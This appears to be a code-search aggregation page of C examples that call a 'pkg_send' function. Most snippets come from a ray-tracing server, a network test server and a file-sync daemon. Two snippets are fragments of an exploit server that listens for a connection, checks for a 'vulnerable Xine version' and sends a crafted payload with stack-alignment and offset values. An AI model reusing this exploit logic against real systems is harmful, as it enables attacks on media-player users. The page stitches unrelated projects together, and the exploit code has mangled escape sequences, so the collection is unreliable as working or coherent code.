/*
 *  Handles error or log messages from the frame buffer library.
 *  We route these back to all clients in an ERROR packet.  Note that
 *  this is a replacement for the default fb_log function in libfb
 *  (which just writes to stderr).
 *
 *  Log an FB library event, when _doprnt() is not available.
 *  This version should work on practically any machine, but
 *  it serves to highlight the grossness of the varargs package
 *  requiring the size of a parameter to be known at compile time.
 */
void
fb_log( const char *fmt, ... )
{
    va_list ap;
    char	outbuf[OUTBUFSZ];			/* final output string */
    int	want;
    int	i;
    int	nsent = 0;

    va_start( ap, fmt );
    (void)vsprintf( outbuf, fmt, ap );
    va_end(ap);

    want = strlen(outbuf)+1;
    for ( i = MAX_CLIENTS-1; i >= 0; i-- )  {
	if ( clients[i] == NULL )  continue;
	if ( pkg_send( MSG_ERROR, outbuf, want, clients[i] ) != want )  {
	    comm_error("pkg_send error in fb_log, message was:\n");
	    comm_error(outbuf);
	} else {
	    nsent++;
	}
    }
    if ( nsent == 0 || verbose )  {
	/* No PKG connection open yet! */
	fputs( outbuf, stderr );
	fflush(stderr);
    }
}
Beispiel #2
0
void
bu_bomb(const char *str)
{
    char	*bomb = "RTSRV terminated by bu_bomb()\n";

    if (pkg_send(MSG_PRINT, (char *)str, strlen(str)+1, pcsrv) < 0)  {
	fprintf(stderr, "bu_bomb MSG_PRINT failed\n");
    }
    if (pkg_send(MSG_PRINT, bomb, strlen(bomb)+1, pcsrv) < 0)  {
	fprintf(stderr, "bu_bomb MSG_PRINT failed\n");
    }

    if (debug)  fprintf(stderr, "\n%s\n", str);
    fflush(stderr);

    bu_exit(12, NULL);
}
Beispiel #3
0
/*
 *  The only argument is the name of the database file.
 */
void
ph_dirbuild(struct pkg_conn *UNUSED(pc), char *buf)
{
    long max_argc = 0;
    char **argv = NULL;
    struct rt_i *rtip = NULL;
    size_t n = 0;

    if (debug)  fprintf(stderr, "ph_dirbuild: %s\n", buf);

    for (n = 0; n < strlen(buf); n++) {
	if (isspace((int)buf[n]))
	    max_argc++;
    }
    argv = (char **)bu_calloc(max_argc+1, sizeof(char *), "alloc argv");

    if ((bu_argv_from_string(argv, max_argc, buf)) <= 0)  {
	/* No words in input */
	(void)free(buf);
	bu_free(argv, "free argv");
	return;
    }

    if (seen_dirbuild)  {
	bu_log("ph_dirbuild:  MSG_DIRBUILD already seen, ignored\n");
	(void)free(buf);
	bu_free(argv, "free argv");
	return;
    }

    title_file = bu_strdup(argv[0]);
    bu_free(argv, "free argv");

    /* Build directory of GED database */
    if ((rtip=rt_dirbuild(title_file, idbuf, sizeof(idbuf))) == RTI_NULL)
	bu_exit(2, "ph_dirbuild:  rt_dirbuild(%s) failure\n", title_file);
    APP.a_rt_i = rtip;
    seen_dirbuild = 1;

    /*
     *  Initialize all the per-CPU memory resources.
     *  Go for the max, as TCL interface may change npsw as we run.
     */
    for (n=0; n < MAX_PSW; n++)  {
	rt_init_resource(&resource[n], n, rtip);
	bn_rand_init(resource[n].re_randptr, n);
    }

    if (pkg_send(MSG_DIRBUILD_REPLY,
		   idbuf, strlen(idbuf)+1, pcsrv) < 0)
	fprintf(stderr, "MSG_DIRBUILD_REPLY error\n");
}
Beispiel #4
0
/*
 *  Log an error.
 *  This version buffers a full line, to save network traffic.
 */
void
bu_log(const char *fmt, ...)
{
    va_list vap;
    char buf[512];		/* a generous output line.  Must be AUTO, else non-PARALLEL. */

    if (print_on == 0)  return;
    bu_semaphore_acquire(BU_SEM_SYSCALL);
    va_start(vap, fmt);
    (void)vsprintf(buf, fmt, vap);
    va_end(vap);

    if (pcsrv == PKC_NULL || pcsrv == PKC_ERROR)  {
	fprintf(stderr, "%s", buf);
	goto out;
    }
    if (debug) fprintf(stderr, "%s", buf);
    if (pkg_send(MSG_PRINT, buf, strlen(buf)+1, pcsrv) < 0)  {
	fprintf(stderr, "pkg_send MSG_PRINT failed\n");
	bu_exit(12, NULL);
    }
 out:
    bu_semaphore_release(BU_SEM_SYSCALL);
}
Beispiel #5
0
/*
 *  Each word in the command buffer is the name of a treetop.
 */
void
ph_gettrees(struct pkg_conn *UNUSED(pc), char *buf)
{
    size_t n = 0;
    long max_argc = 0;
    char **argv = NULL;
    int	argc = 0;
    struct rt_i *rtip = APP.a_rt_i;

    RT_CK_RTI(rtip);

    if (debug)  fprintf(stderr, "ph_gettrees: %s\n", buf);

    /* Copy values from command line options into rtip */
    rtip->useair = use_air;
    if (rt_dist_tol > 0)  {
	rtip->rti_tol.dist = rt_dist_tol;
	rtip->rti_tol.dist_sq = rt_dist_tol * rt_dist_tol;
    }
    if (rt_perp_tol > 0)  {
	rtip->rti_tol.perp = rt_perp_tol;
	rtip->rti_tol.para = 1 - rt_perp_tol;
    }

    for (n = 0; n < strlen(buf); n++) {
	if (isspace((int)buf[n]))
	    max_argc++;
    }
    argv = (char **)bu_calloc(max_argc+1, sizeof(char *), "alloc argv");

    if ((argc = bu_argv_from_string(argv, max_argc, buf)) <= 0)  {
	/* No words in input */
	(void)free(buf);
	bu_free(argv, "free argv");
	return;
    }
    title_obj = bu_strdup(argv[0]);

    if (rtip->needprep == 0)  {
	/* First clean up after the end of the previous frame */
	if (debug)bu_log("Cleaning previous model\n");
	view_end(&APP);
	view_cleanup(rtip);
	rt_clean(rtip);
	if (rdebug&RDEBUG_RTMEM_END)
	    bu_prmem("After rt_clean");
    }

    /* Load the desired portion of the model */
    if (rt_gettrees(rtip, argc, (const char **)argv, npsw) < 0)
	fprintf(stderr, "rt_gettrees(%s) FAILED\n", argv[0]);
    bu_free(argv, "free argv");

    /* In case it changed from startup time via an OPT command */
    if (npsw > 1)  {
	RTG.rtg_parallel = 1;
    } else
	RTG.rtg_parallel = 0;

    seen_gettrees = 1;
    (void)free(buf);

    prepare();

    /* Acknowledge that we are ready */
    if (pkg_send(MSG_GETTREES_REPLY,
		   title_obj, strlen(title_obj)+1, pcsrv) < 0)
	fprintf(stderr, "MSG_START error\n");
}
Beispiel #6
0
int
main(int argc, char **argv)
{
    int	n;

    if (argc < 2)  {
	fprintf(stderr, "%s", srv_usage);
	return 1;
    }
    while (argv[1][0] == '-')  {
	if (BU_STR_EQUAL(argv[1], "-d"))  {
	    debug++;
	} else if (BU_STR_EQUAL(argv[1], "-x"))  {
	    sscanf(argv[2], "%x", (unsigned int *)&RTG.debug);
	    argc--; argv++;
	} else if (BU_STR_EQUAL(argv[1], "-X"))  {
	    sscanf(argv[2], "%x", (unsigned int *)&rdebug);
	    argc--; argv++;
	} else {
	    fprintf(stderr, "%s", srv_usage);
	    return 3;
	}
	argc--; argv++;
    }
    if (argc != 3 && argc != 4)  {
	fprintf(stderr, "%s", srv_usage);
	return 2;
    }

    control_host = argv[1];
    tcp_port = argv[2];

    /* Note that the LIBPKG error logger can not be
     * "bu_log", as that can cause bu_log to be entered recursively.
     * Given the special version of bu_log in use here,
     * that will result in a deadlock in bu_semaphore_acquire(res_syscall)!
     *  libpkg will default to stderr via pkg_errlog(), which is fine.
     */
    pcsrv = pkg_open(control_host, tcp_port, "tcp", "", "",
		      pkgswitch, NULL);
    if (pcsrv == PKC_ERROR)  {
	fprintf(stderr, "rtsrv: unable to contact %s, port %s\n",
		control_host, tcp_port);
	return 1;
    }

    if (argc == 4)  {
	/* Slip one command to dispatcher */
	(void)pkg_send(MSG_CMD, argv[3], strlen(argv[3])+1, pcsrv);

	/* Prevent chasing the package with an immediate TCP close */
	sleep(1);

	pkg_close(pcsrv);
	return 0;
    }

#ifdef SO_SNDBUF
    /* increase the default send buffer size to 32k since we're
     * sending pixels more than likely.
     */
    {
	int val = 32767;
	n = setsockopt(pcsrv->pkc_fd, SOL_SOCKET, SO_SNDBUF, (const void *)&val, sizeof(val));
	if (n < 0)  perror("setsockopt: SO_SNDBUF");
    }
#endif

    if (!debug)  {
	/* A fresh process */
	if (fork())
	    return 0;

	/* Go into our own process group */
	n = bu_process_id();

#ifdef HAVE_SETPGID
	if (setpgid(n, n) < 0)
	    perror("setpgid");
#else
	/* SysV uses setpgrp with no args and it can't fail,
	 * obsoleted by setpgid.
	 */
	setpgrp();
#endif

	/*
	 *  Unless controller process has specifically said
	 *  that this is an interactive session, e.g., for a demo,
	 *  drop to the lowest sensible priority.
	 */
	if (!interactive)  {
	    bu_nice_set(19);		/* lowest priority */
	}

	/* Close off the world */
	fclose(stdin);
	fclose(stdout);
	fclose(stderr);

	(void)close(0);
	(void)close(1);
	(void)close(2);

	/* For stdio & perror safety, reopen 0, 1, 2 */
	(void)open("/dev/null", 0);	/* to fd 0 */
	n = dup(0);			/* to fd 1 */
	if (n == -1)
	    perror("dup");
	n = dup(0);			/* to fd 2 */
	if (n == -1)
	    perror("dup");

#if defined(HAVE_SYS_IOCTL_H) && defined(TIOCNOTTY)
	n = open("/dev/tty", 2);
	if (n >= 0) {
	    (void)ioctl(n, TIOCNOTTY, 0);
	    (void)close(n);
	}
#endif
    }

    /* Send our version string */
    if (pkg_send(MSG_VERSION,
		   PROTOCOL_VERSION, strlen(PROTOCOL_VERSION)+1, pcsrv) < 0)  {
	fprintf(stderr, "pkg_send MSG_VERSION error\n");
	return 1;
    }
    if (debug)  fprintf(stderr, "PROTOCOL_VERSION='%s'\n", PROTOCOL_VERSION);

    /*
     *  Now that the fork() has been done, it is safe to initialize
     *  the parallel processing support.
     */

    avail_cpus = bu_avail_cpus();

    /* Need to set rtg_parallel non_zero here for RES_INIT to work */
    npsw = avail_cpus;
    if (npsw > 1)  {
	RTG.rtg_parallel = 1;
    } else
	RTG.rtg_parallel = 0;
    bu_semaphore_init(RT_SEM_LAST);

    bu_log("using %d of %d cpus\n",
	   npsw, avail_cpus);

    /*
     *  Initialize the non-parallel memory resource.
     *  The parallel guys are initialized after the rt_dirbuild().
     */
    rt_init_resource(&rt_uniresource, MAX_PSW, NULL);
    bn_rand_init(rt_uniresource.re_randptr, MAX_PSW);

    BU_LIST_INIT(&WorkHead);

    for (;;)  {
	struct pkg_queue	*lp;
	fd_set ifds;
	struct timeval tv;

	/* First, process any packages in library buffers */
	if (pkg_process(pcsrv) < 0)  {
	    bu_log("pkg_get error\n");
	    break;
	}

	/* Second, see if any input to read */
	FD_ZERO(&ifds);
	FD_SET(pcsrv->pkc_fd, &ifds);
	tv.tv_sec = BU_LIST_NON_EMPTY(&WorkHead) ? 0L : 9999L;
	tv.tv_usec = 0L;

	if (select(pcsrv->pkc_fd+1, &ifds, (fd_set *)0, (fd_set *)0,
		    &tv) != 0)  {
	    n = pkg_suckin(pcsrv);
	    if (n < 0)  {
		bu_log("pkg_suckin error\n");
		break;
	    } else if (n == 0)  {
		/* EOF detected */
		break;
	    } else {
		/* All is well */
	    }
	}

	/* Third, process any new packages in library buffers */
	if (pkg_process(pcsrv) < 0)  {
	    bu_log("pkg_get error\n");
	    break;
	}

	/* Finally, more work may have just arrived, check our list */
	if (BU_LIST_NON_EMPTY(&WorkHead))  {
	    lp = BU_LIST_FIRST(pkg_queue, &WorkHead);
	    BU_LIST_DEQUEUE(&lp->l);
	    switch (lp->type)  {
		case MSG_MATRIX:
		    ph_matrix((struct pkg_conn *)0, lp->buf);
		    break;
		case MSG_LINES:
		    ph_lines((struct pkg_conn *)0, lp->buf);
		    break;
		case MSG_OPTIONS:
		    ph_options((struct pkg_conn *)0, lp->buf);
		    break;
		case MSG_GETTREES:
		    ph_gettrees((struct pkg_conn *)0, lp->buf);
		    break;
		default:
		    bu_log("bad list element, type=%d\n", lp->type);
		    return 33;
	    }
	    BU_PUT(lp, struct pkg_queue);
	}
    }

    return 0;		/* bu_exit(0, NULL) */
}
int 
prepsock(int align_stack, int port) 
{ 
      unsigned int cl_buf, recv_chk, reuse = 1; 
      unsigned int clisock_fd; 

      signed int sock_fd; 

      static char chk_vuln[CDATA]; 
      static char payload[BUFFER]; 

      struct sockaddr_in victimised, xine; 

      char *pload = (char *) &opcode; 


      ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
      ? die("Could not create socket") 
      : (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, 
sizeof(int)) == -1) 
            ? die("Could not re-use socket") 
: memset(&xine, 0, sizeof(xine)); 

      xine.sin_family = AF_INET; 
      xine.sin_port = htons(port); 
      xine.sin_addr.s_addr = htonl(INADDR_ANY); 

      if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct 
sockaddr)) == -1) { 
      close(sock_fd); die("Could not bind socket"); 
      } 

      if(listen(sock_fd, 0) == -1) { 
              close(sock_fd); die("Could not listen on socket"); 
      } 


      printf(" -> Listening for a connection on port %dn", port); 


      cl_buf = sizeof(victimised); 
      clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, 
&cl_buf); 

      if(!clisock_fd) { 
die("Could not accept connectionn"); 
      } 

      if(!close(sock_fd)) { 
fprintf(stderr, "Could not close socketn"); 
      } 


      fprintf(stderr, " -> Action: Attaching from host [%s]n", 
inet_ntoa(victimised.sin_addr)); 
      fprintf(stderr, " -> Using align [%d] and port [%d]n", 
align_stack, port); 


      //memset(chk_vuln, 0, CDATA); 
      memset(chk_vuln, 0, sizeof(chk_vuln)); 

      recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0); 
      chk_vuln[recv_chk+1] = ''; 

      if((recv_chk == -1) || (recv_chk == 0)) { 
              fprintf(stderr, "Could not receive data from clientn"); 
      } 

      if(strstr(chk_vuln, THREAT)) { 
              fprintf(stderr, " -> Detected vulnerable Xine versionn"); 
      }else{ 
              fprintf(stderr, " -> Detected a non-Xine connection, 
end.n"); 
  close(clisock_fd); die("Ending connection, not a Xine clientn"); 
      } 

      if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) { 
              fprintf(stderr, "Could not send packagen"); 
              close(clisock_fd); die("Could not send package!n"); 
      } 

      if(close(clisock_fd) != 0) { 
fprintf(stderr, "Could not close socketn"); 
} 

      return clisock_fd; 
      //return SUCCESS; 
} 
Beispiel #8
0
/**
 * start up a server that listens for a single client.
 */
void
run_server(int port) {
    struct pkg_conn *client;
    int netfd;
    char portname[MAX_DIGITS + 1] = {0};
    /* int pkg_result  = 0; */
    char *buffer, *msgbuffer;
    long bytes = 0;
    FILE *fp;

    /** our server callbacks for each message type */
    struct pkg_switch callbacks[] = {
	{MSG_HELO, server_helo, "HELO", NULL},
	{MSG_DATA, server_data, "DATA", NULL},
	{MSG_CIAO, server_ciao, "CIAO", NULL},
	{0, 0, (char *)0, (void*)0}
    };

    validate_port(port);

    /* start up the server on the given port */
    snprintf(portname, MAX_DIGITS, "%d", port);
    netfd = pkg_permserver(portname, "tcp", 0, 0);
    if (netfd < 0) {
	bu_bomb("Unable to start the server");
    }

    /* listen for a good client indefinitely.  this is a simple
     * handshake that waits for a HELO message from the client.  if it
     * doesn't get one, the server continues to wait.
     */
    do {
	client = pkg_getclient(netfd, callbacks, NULL, 0);
	if (client == PKC_NULL) {
	    bu_log("Connection seems to be busy, waiting...\n");
	    sleep(10);
	    continue;
	} else if (client == PKC_ERROR) {
	    bu_log("Fatal error accepting client connection.\n");
	    pkg_close(client);
	    client = PKC_NULL;
	    continue;
	}

	/* got a connection, process it */
	msgbuffer = pkg_bwaitfor (MSG_HELO, client);
	if (msgbuffer == NULL) {
	    bu_log("Failed to process the client connection, still waiting\n");
	    pkg_close(client);
	    client = PKC_NULL;
	} else {
	    bu_log("msgbuffer: %s\n", msgbuffer);
	    /* validate magic header that client should have sent */
	    if (!BU_STR_EQUAL(msgbuffer, MAGIC_ID)) {
		bu_log("Bizarre corruption, received a HELO without at matching MAGIC ID!\n");
		pkg_close(client);
		client = PKC_NULL;
	    }
	}
    } while (client == PKC_NULL);

    /* have client, will send file */
    fp = fopen("lempar.c", "rb");
    buffer = (char *)bu_calloc(2048, 1, "buffer allocation");

    if (fp == NULL) {
	bu_log("Unable to open lempar.c\n");
	bu_bomb("Unable to read file\n");
    }

    /* send the file data to the server */
    while (!feof(fp) && !ferror(fp)) {
	bytes = fread(buffer, 1, 2048, fp);
	bu_log("Read %ld bytes from lempar.c\n", bytes);

	if (bytes > 0) {
	    bytes = pkg_send(MSG_DATA, buffer, (size_t)bytes, client);
	    if (bytes < 0) {
		pkg_close(client);
		bu_log("Unable to successfully send data");
		bu_free(buffer, "buffer release");
		return;
	    }
	}
    }

    /* Tell the client we're done */
    bytes = pkg_send(MSG_CIAO, "DONE", 5, client);
    if (bytes < 0) {
	bu_log("Connection to client seems faulty.\n");
    }

    /* Confirm the client is done */
    buffer = pkg_bwaitfor (MSG_CIAO , client);
    bu_log("buffer: %s\n", buffer);

    /* shut down the server, one-time use */
    pkg_close(client);
}
int
main(int argc, char **argv)
{
	unsigned int align = 0, offset = 0, reuse = 1;
	unsigned int port = PORT;
	unsigned int cl_buf, opts;

	signed int clisock_fd, sock_fd;
	
	static char *exploit, *work;

	struct sockaddr_in victim;
	struct sockaddr_in confess;


	if(argc < 2) {
		banner();
		example(exploit);
		_exit(1);
	}banner();


	while((opts = getopt(argc, argv, "a:o:")) != -1) {
		switch(opts)
			{
			case 'a':
				align = atoi(optarg);
				break;
			case 'o':
				offset = atoi(optarg);
				break;
			default:
				align = ALIGN;
				offset = OFFSET;
			}
	}

	if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		die("Could not create socket");
	}

	if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
		die("Could not re-use socket");
	}
	
	memset(&confess, 0, sizeof(confess));

	confess.sin_family = AF_INET;
	confess.sin_port = htons(port);
	confess.sin_addr.s_addr = htonl(INADDR_ANY);

	if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
	die("Could not bind socket");
	}

	if(listen(sock_fd, 0) == -1) {
		die("Could not listen on socket");
	}

	printf(" -> Listening for a connection on port %d\n", port);

	cl_buf = sizeof(victim);
	clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);

	fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));

	if(pkg_prep(clisock_fd, align, offset) == 1) {
		fprintf(stderr, "Could not prep package\n");
		_exit(1);
	}

	if(pkg_send(clisock_fd, payload) == 1) {
		fprintf(stderr, "Could not send package\n");
		_exit(1);
	}
	sleep(2);

	fprintf(stderr, " -> Test complete\n\n");

	close(clisock_fd); looking(work);

	return SUCCESS;
}
Beispiel #10
0
static void serve_connection(void* data) {
    connection_data *conn_data = (connection_data*) data;
    trace("New connection from  %s:%d sd=%d\n", inet_ntoa(conn_data->pin.sin_addr), ntohs(conn_data->pin.sin_port), conn_data->sd);

    const int maxsize = PATH_MAX + 32;
    char buffer[maxsize];
    struct package *pkg = (struct package *) &buffer;

    int first = true;
    char requestor_id[32] = "-1";

    while (1) {
        trace("Waiting for a data to arrive from %s, sd=%d...\n", requestor_id, conn_data->sd);
        errno = 0;
        enum sr_result recv_res = pkg_recv(conn_data->sd, pkg, maxsize);
        if (recv_res == sr_reset) {
            trace("Connection sd=%d reset by peer => normal termination\n", conn_data->sd);
            break;
        } else if (recv_res == sr_failure) {
            if (errno != 0) {
                perror("error getting message");
            }
            break;
        }

        trace("Request (%s): %s sd=%d\n", pkg_kind_to_string(pkg->kind), pkg->data, conn_data->sd);
        if (first ? (pkg->kind != pkg_handshake) : (pkg->kind != pkg_request && pkg->kind != pkg_written)) {
            fprintf(stderr, "protocol error: unexpected %s from %s sd=%d\n", pkg_kind_to_string(pkg->kind), requestor_id, conn_data->sd);
            break;
        }

        if (first) {
            first = false;
            strncpy(requestor_id, pkg->data, sizeof requestor_id);
            continue;
        }

        const char* filename = pkg->data;
        file_data *fd = find_file_data(filename);

        if (pkg->kind == pkg_written) {
            // NB 1: process that wrote a file does NOT wait any response
            // NB 2: MODIFIED status is final => no need to sync here
            if (fd == NULL) {                
                trace("File %s is unknown - nothing to uncontrol\n", filename);
            } else if (fd->state == MODIFIED) {
                trace("File %s already reported as modified\n", filename);
            } else {
                fd->state = MODIFIED;
                trace("File %s sending uncontrol request to LC\n", filename);
                // TODO: this is a very primitive sync!
                mutex_lock(&mutex);
                fprintf(stdout, "%c %s\n", LC_PROTOCOL_WRITTEN, filename);
                fflush(stdout);
                mutex_unlock(&mutex);
            }
        } else { // pkg->kind == pkg_request
            char response[64];
            response[1] = 0;
            if (fd != NULL) {
                mutex_lock(&fd->mutex); //NB: never return unless unlocked !!!
                switch (fd->state) {
                    case TOUCHED:
                        trace("File %s state %c - requesting LC\n", filename, (char) fd->state);
                        /* TODO: this is a very primitive sync!  */
                        mutex_lock(&mutex);

                        fprintf(stdout, "%c %s\n", LC_PROTOCOL_REQUEST, filename);
                        fflush(stdout);

                        if (emulate) {
                            response[0] = response_ok;
                        } else
                        if (!fgets(response, sizeof response, stdin)) {
                            trace("Input stream closed. Exiting.\n");
                            break;
                        }
                        fd->state = (response[0] == response_ok) ? COPIED : ERROR;
                        mutex_unlock(&mutex);
                        trace("File %s state %c - got from LC %s, replying %s\n", filename, (char) fd->state, response, response);
                        break;
                    case COPIED:    // fall through
                    case UNCONTROLLED:
                    case MODIFIED:
                        response[0] = response_ok;
                        trace("File %s state %c - uncontrolled/modified/copied, replying %s\n", filename, (char) fd->state,  response);
                        break;
                    case ERROR:
                        response[0] = response_failure;
                        trace("File %s state %c - old error, replying %s\n", filename, (char) fd->state, response);
                        break;
                    case INITIAL:   // fall through
                    case DIRECTORY: // fall through
                    case PENDING:   // fall through
                    default:
                        response[0] = response_failure;
                        trace("File %s state %c (0x%x)- unexpected state, replying %s\n", filename, (char) fd->state, (char) fd->state, response);
                        break;
                }
                mutex_unlock(&fd->mutex);
            } else {
                response[0] = response_ok;
                trace("File %s: state n/a, replying: %s\n", filename, response);
            }

            response[1] = 0;
            enum sr_result send_res = pkg_send(conn_data->sd, pkg_reply, response);
            if (send_res == sr_failure) {
                perror("send");
            } else if (send_res == sr_reset) {
                perror("send");
            } else { // success
                trace("reply for %s sent to %s sd=%d\n", filename, requestor_id, conn_data->sd);
            }
        }
    }
    close(conn_data->sd);
    trace("Connection to %s:%d (%s) closed sd=%d\n", inet_ntoa(conn_data->pin.sin_addr), ntohs(conn_data->pin.sin_port), requestor_id, conn_data->sd);
}